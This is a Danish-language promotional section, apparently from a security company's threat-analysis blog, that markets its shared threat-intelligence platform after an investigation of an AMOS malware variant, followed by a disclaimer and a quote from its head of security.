
Styrken i det kollektive skjold: vores Shared Threat Intelligence-platform

Når en alert udløses i vores SOC, begynder uret ikke kun at løbe for den berørte kunde, men for hver organisation under glueckkanjas skjold. Denne undersøgelse af en udokumenteret AMOS-variant gør tydeligt, hvad Intelligence Gap betyder i praksis: et farligt tidsvindue, hvor klassiske leverandører er blinde, fordi de endnu ikke har set truslen.

Her viser vores proprietære Shared Threat Intelligence Platform sin værdi, udviklet eksklusivt til glueckkanjas CSOC-kunder. Vi venter ikke på opdateringer fra branchen, vi skaber dem. Mens vores analytikere stadig skilte de sidste lag af ARM64-assembly ad, fordelte vores Automated Orchestration Engine allerede de udtrukne indikatorer på tværs af hele vores økosystem. Det skaber flokimmunitet: det, der opdages på ét enkelt endpoint, er inden for minutter en blokeret trussel for hver organisation under vores beskyttelse.

Reaktiv sikkerhed virker ikke mod trusler, der målrettet glider gennem hullerne i konventionelle forsvarsmekanismer. Svaret ligger i at forbinde menneskelig ekspertise med en arkitektur, der sætter den viden i spil med det samme og i skala. Med vores shared intelligence-model vendes angriberens tidsfordel om: vores kunder er beskyttet, før truslen overhovedet er opdaget af branchen.

Bemærkning om databeskyttelse

Identificerende oplysninger er anonymiseret i denne udgivelse. Specifikke tekniske detaljer, indikatorer og tidsstempler kan være let ændret for at sikre den fortsatte beskyttelse af det berørte miljø, uden at den tekniske integritet af analysen forringes.

De tekniske analyser og Indicators of Compromise (IOC'er) i denne rapport tjener udelukkende til information og videreuddannelse. De stilles til rådighed efter bedste overbevisning. glueckkanja AG giver ingen udtrykkelige eller underforståede garantier for fuldstændighed eller nøjagtighed og hæfter ikke for skader, tab eller sikkerhedshændelser, der opstår ved brug af de oplysninger, regler eller signaturer, der deles her. Vi anbefaler at validere alle indikatorer og regler i et kontrolleret miljø, før de tages i brug.

Beskrevne indikatorer og teknikker kan overlappe med kendte malwarefamilier og kan ikke henføres eksklusivt til en enkelt kampagne.

Kontakt os

Vil I vide, hvordan vores Shared Threat Intelligence Platform beskytter jer mod ukendte malwarevarianter, endnu før branchen hører om dem? Skriv til os.
Portræt af Jan Geisbauer, Head of Security hos glueckkanja
Det farlige ved denne variant var ikke den tekniske kompleksitet, hvor imponerende den end er. Det farlige var tidsvinduet. Uden Shared Threat Intelligence ville vores andre kunder have stået ubeskyttede i timevis, mens vi stadig analyserede.
Jan GeisbauerHead of Security

Lignende indlæg